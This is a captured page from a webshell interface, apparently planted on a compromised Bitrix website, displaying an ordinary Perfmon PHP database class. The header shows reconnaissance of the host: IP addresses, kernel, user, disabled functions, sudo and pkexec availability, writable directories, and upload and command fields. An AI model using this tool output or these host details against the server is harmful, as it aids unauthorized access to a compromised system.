403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/perfmon/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/perfmon/lib/basedatabase.php
<?php

namespace Bitrix\Perfmon;

class BaseDatabase
{
	protected $connection = null;
	protected $schema = null;

	public function __construct($connection)
	{
		$this->connection = $connection;
		$this->schema = new \Bitrix\Perfmon\Sql\Schema;
	}

	/**
	 * Creates BaseDatabase object instance depending on type of the $connection.
	 *
	 * @param \Bitrix\Main\DB\Connection $connection The connection.
	 *
	 * @return BaseDatabase
	 */
	public static function createFromConnection($connection)
	{
		if (is_a($connection, '\Bitrix\Main\DB\MysqliConnection'))
		{
			return new MysqliDatabase($connection);
		}
		elseif (is_a($connection, '\Bitrix\Main\DB\PgsqlConnection'))
		{
			return new PgsqlDatabase($connection);
		}
		else
		{
			throw new \Bitrix\Main\DB\ConnectionException('Unsupported connection type.');
		}
	}

	/**
	 * Returns the database tables list.
	 *
	 * @param bool $full If extended info is needed.
	 *
	 * @return \CDBResult
	 */
	public function getTables($full = true)
	{
		$result = new \CDBResult();
		$result->InitFromArray([]);

		return $result;
	}

	/**
	 * Reads meta information from the database about table indexes into $this->schema object.
	 *
	 * @param string $tableName Table name.
	 *
	 * @return \Bitrix\Perfmon\Sql\Table
	 */
	protected function fillTableIndexes($tableName)
	{
		$table = $this->schema->tables->search($tableName);
		if (!$table)
		{
			$table = new \Bitrix\Perfmon\Sql\Table($tableName);
			$this->schema->tables->add($table);
		}

		return $table;
	}

	/**
	 * Returns list of all table indexes.
	 *
	 * @param string $tableName Table name.
	 *
	 * @return array
	 */
	public function getIndexes($tableName)
	{
		$result = [];

		$table = $this->fillTableIndexes($tableName);
		/** @var $index \Bitrix\Perfmon\Sql\Index */
		foreach ($table->indexes->getList() as $index)
		{
			$result[$index->name] = $index->columns;
		}

		return $result;
	}

	/**
	 * Returns list of unique table indexes.
	 *
	 * @param string $tableName Table name.
	 *
	 * @return array
	 */
	public function getUniqueIndexes($tableName)
	{
		$result = [];

		$table = $this->fillTableIndexes($tableName);
		/** @var $index \Bitrix\Perfmon\Sql\Index */
		foreach ($table->indexes->getList() as $index)
		{
			if ($index->unique)
			{
				$result[$index->name] = $index->columns;
			}
		}

		return $result;
	}

	/**
	 * Returns list of full text table indexes.
	 *
	 * @param string $tableName Table name.
	 *
	 * @return array
	 */
	public function getFullTextIndexes($tableName)
	{
		$result = [];

		$table = $this->fillTableIndexes($tableName);
		/** @var $index \Bitrix\Perfmon\Sql\Index */
		foreach ($table->indexes->getList() as $index)
		{
			if ($index->fulltext)
			{
				$result[$index->name] = $index->columns;
			}
		}

		return $result;
	}

	/**
	 * Returns list of all table fields.
	 *
	 * @param string $tableName Table name.
	 *
	 * @return array
	 */
	public function getTableFields($tableName = false)
	{
		return [];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit